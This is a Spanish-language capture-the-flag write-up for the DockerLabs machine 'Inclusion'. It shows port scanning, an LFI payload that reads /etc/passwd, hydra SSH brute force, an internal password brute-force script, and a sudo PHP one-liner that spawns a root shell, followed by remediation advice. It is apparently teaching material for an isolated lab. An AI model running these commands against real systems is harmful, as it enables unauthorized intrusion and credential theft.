Inclusion
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Inclusion, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo es guiar paso a paso el proceso de compromiso del sistema:
- Reconocimiento: Descubrimiento de servicios y endpoints web expuestos.
- Explotación: Obtención de credenciales mediante una vulnerabilidad LFI combinada con fuerza bruta vía SSH.
- Escalada de privilegios: Uso de técnicas de password scraping y mala configuración de
sudopara obtenerroot.
Todo el procedimiento se realizó en el entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Inclusion |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 12/05/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip Inclusion.zipsudo bash auto_deploy.sh Inclusion.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Inclusion/{content,exploits,nmap,gobuster,scripts}cd Inclusion1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Utilizamos Feroxbuster:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Rutas relevantes:
/index.html— Página generada por Apache./shop— Una tienda de teclados con un parámetro vulnerable.

Dentro de /shop, se observa el mensaje:
"Error de Sistema: ($_GET['archivo']);"
Esto indica que el backend intenta cargar archivos usando el valor de archivo, sugiriendo una vulnerabilidad LFI.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Probamos un ataque LFI:
http://172.17.0.2/shop/index.php?archivo=../../../../etc/passwd
Usuarios identificados:
manchiseller
Los wrappers de PHP están deshabilitados, así que no podemos convertir el LFI en RCE. La vía lógica: fuerza bruta contra SSH.
Probamos con manchi:
hydra -l manchi -P rockyou.txt ssh://172.17.0.2 -t 64
Obtenemos credenciales válidas → acceso via SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De manchi → seller
Sección titulada «3.1 De manchi → seller»No encontramos binarios SUID, tareas cron o configuraciones sudo útiles. Por lo tanto, recurrimos a fuerza bruta interna con el script personalizado UserRush.
Transferimos los archivos mediante scp:
scp ./UserRush.sh manchi@172.17.0.2:/tmp/UserRush.shscp ./rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt
Asignamos permisos de ejecución:
chmod +x /tmp/UserRush.shEjecutamos:
./UserRush.sh -u seller -t 20
Accedemos con:
su seller
3.2 De seller → root
Sección titulada «3.2 De seller → root»Revisamos permisos sudo:

Vemos que seller puede ejecutar PHP como root sin contraseña.
Por lo tanto, podemos invocar una shell como root:
sudo php -r "system('/bin/bash');"Acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- LFI no validado, permitiendo lectura de archivos sensibles.
- SSH expuesto sin protecciones adicionales.
- Contraseñas débiles y reutilizadas.
- Acceso sudo excesivo: permitir ejecutar PHP como root es crítico.
- Falta de restricciones en herramientas de enumeración internas.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta del parámetro
archivoen/shop/. - Deshabilitar SSH o restringirlo únicamente a IPs confiables.
- Aplicar políticas de contraseñas robustas y rotación periódica.
- Revisar configuraciones sudo y eliminar privilegios innecesarios.
- Monitorear accesos sospechosos y aplicar reglas de detección LFI.